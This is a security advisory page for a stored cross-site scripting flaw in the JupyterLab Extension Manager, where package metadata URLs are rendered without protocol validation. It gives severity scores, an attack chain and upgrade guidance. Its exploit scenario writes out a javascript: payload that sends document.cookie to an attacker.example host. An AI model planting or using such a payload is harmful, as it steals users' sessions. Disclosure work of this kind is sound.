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JupyterLab EUVDEUVD-2026-51849

| CVE-2026-67338 MEDIUM
Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)
2026-08-01 VulnCheck GHSA-r75g-r7w6-363h
XSS Jupyterlab Suse Red Hat
5.1
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

PR:L reflects PyPI account requirement; S:C because XSS runs in JupyterLab origin with potential Jupyter server API access; UI:R for required click; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE
MEDIUM
qualitative
Red Hat
6.1 MEDIUM
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 01, 2026 - 13:33 vuln.today
Analysis Generated
Aug 01, 2026 - 13:33 vuln.today
CVE Published
Aug 01, 2026 - 12:22 cve.org
MEDIUM 5.1

DescriptionCVE.org

JupyterLab before 4.5.9 contains a stored cross-site scripting vulnerability in the Extension Manager that fails to validate URI protocols in package metadata URLs. Attackers can publish malicious PyPI packages with javascript: URLs in project metadata that execute arbitrary JavaScript in the JupyterLab origin when users click the extension name.

AnalysisAI

Stored cross-site scripting in JupyterLab's Extension Manager allows an attacker who publishes a malicious PyPI package to execute arbitrary JavaScript in the JupyterLab browser origin. The frontend in widget.tsx renders PyPI package metadata URLs as raw anchor hrefs without protocol validation, so a javascript: URL placed in [project.urls] metadata fires the moment a victim clicks the extension name. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Register PyPI account and publish package with javascript: homepage URL
Delivery
Package surfaces in victim's JupyterLab Extension Manager search
Exploit
Victim clicks extension name link
Execution
javascript: URL executes in JupyterLab browser origin
Impact
Attacker script accesses session tokens or calls Jupyter server API
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Vulnerability AssessmentAI

Exploitation The Extension Manager must be enabled (it is on by default in JupyterLab) and must be configured to use the public PyPI source (the default). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 5.1 (Medium) accurately reflects the structural constraints: PR:L captures that PyPI account registration, while trivial, is a nonzero barrier, and UI:P correctly models the required click. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker registers a free PyPI account and publishes a package - plausibly named to resemble a legitimate Jupyter extension - with `[project.urls] Homepage = javascript:fetch('https://attacker.example/steal?c='+document.cookie)` in its pyproject.toml. When a JupyterLab user searches the Extension Manager and clicks the extension name, the payload fires in the JupyterLab origin and exfiltrates session cookies or issues authenticated requests to the Jupyter server API. …
Remediation Upgrade JupyterLab to version 4.5.9 or later using `pip install --upgrade jupyterlab`; this is the vendor-released patch per the GHSA advisory at https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-vmhf-c436-hxj4, incorporating commits 4e61e07 and d5d961f. … Detailed patch versions, workarounds, and compensating controls in full report.
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Vendor StatusVendor

SUSE

Severity: Moderate

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EUVD-2026-51849 vulnerability details – vuln.today
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